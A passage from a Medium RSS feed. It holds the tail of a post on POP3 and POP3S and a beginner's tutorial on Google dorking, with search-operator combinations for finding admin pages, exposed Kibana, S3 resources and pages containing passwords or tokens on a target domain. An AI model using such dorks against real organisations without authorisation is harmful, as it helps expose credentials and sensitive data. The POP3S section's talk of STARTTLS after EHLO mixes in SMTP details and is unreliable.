are sent in cleartext, which makes them vulnerable to sniffing attacks.</li></ul><h4>POP3S</h4><p>As we conclude, POP3 is considered weak from a security point of view. This requires an added layer of security; hence, POP3S comes into play. POP3S is an extension of POP3, which wraps the communications related to email messages within TLS. For this purpose, the client and server initiate the STARTTLS command, as shown in the figure below. After the EHLO, the POP3S server will trigger the switch to TLS. Note that EHLO stands for Extended HELO, where HELO is the command used to identify to the server.</p><p>The POP3S Protocol uses port 995, while POP3 uses port 110.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*pHLd0Kwjlrkrzci4.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d7577618248b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Google Dorking: A Hacker’s Best Friend]]></title>
            <link>https://medium.com/@pavandeepkaur3/google-dorking-a-hackers-best-friend-5076f8d7f2a5?source=rss-ee33663a866d------2</link>
            <guid isPermaLink="false">https://medium.com/p/5076f8d7f2a5</guid>
            <category><![CDATA[google]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[technology]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Pavandeep Kaur]]></dc:creator>
            <pubDate>Sun, 01 Jun 2025 16:38:04 GMT</pubDate>
            <atom:updated>2025-06-01T16:56:48.150Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/336/1*L4wHmoFK-N1hJGp646shWQ.jpeg" /><figcaption>Google Dorking.</figcaption></figure><h4><strong>What’s Google Dorking ?</strong></h4><p>Google Dorking is like using Google in a super-smart way. Normally, we just search for regular things like websites or answers. But with Google Dorking, you use special tricks (called dorks) to find hidden stuff like files, passwords, admin pages, and more. It helps you look for things that are not easily seen by everyone.</p><p>For example, instead of typing “admin login,” you can use a dork like:</p><pre>inurl:admin</pre><h3>Why Google?</h3><p>You might wonder, “Why not use special tools for finding information?” Well, Google is free, super powerful, and used by everyone with a phone or computer. It allows you to use simple tricks (called dorks) to find information that’s usually hard to access. When you’re gathering info before doing any kind of cybersecurity work, this can give you a big head start.</p><h3>Useful Dorks you should know about</h3><p>site:eaxmple.com — To get results from specific sites</p><p>:- Use , for separating different strings (sequence of character)</p><p>inurl:admin— Searching for pages having specified string in URL.</p><p>intitle: — Search for pages having matching string in title like ‘index of’.</p><p>ext — searching for files having certain extension.</p><p>filetype: — searching for certain type of file.</p><p>| (OR) — searching with condition. Get result from this site or from this site.</p><p>- (Minus) — Excluding results</p><p>link: — search for web pages that are linked with specific site.</p><p>* (Wildcard) — It takes position for character or set of characters.</p><p>&quot; &quot; — searching for pages having matching phrase.</p><h3>Examples of combination of operators</h3><p>Finding subdomains</p><p>site: *.example.com</p><p>Finding useful or vulnerable pages</p><p>site:example.com inurl:/app/Kibana</p><p>Company resources hosted by third party</p><p>site: s3.amazon.com example.com</p><p>Finding pages containing sensitive data</p><p>site:example.com &quot;password,admin,keys,tokens&quot;</p><p>Searching pages linked with target</p><p>link: *.example.com</p><p>This are some simple but useful example of google dorks to make the concept more clear. You can make your own dorks for gathering more info about target.</p><h3>Further Resources to check out:-</h3><p>You can find more useful dorks on: <a href="https://www.exploit-db.com/google-hacking-database">https://www.exploit-db.com/google-hacking-database</a></p><h3>Last words</h3><p>I hope you learned something from this article. If you have any type of query comment box is always open for you.</p><p>Don’t forget to share this article with your friends to spread knowledge in infosec community.</p><p>Do follow to stay connected for more informative writeups.</p><p>Thank you, Happy Hunting ❤️</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5076f8d7f2a5" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>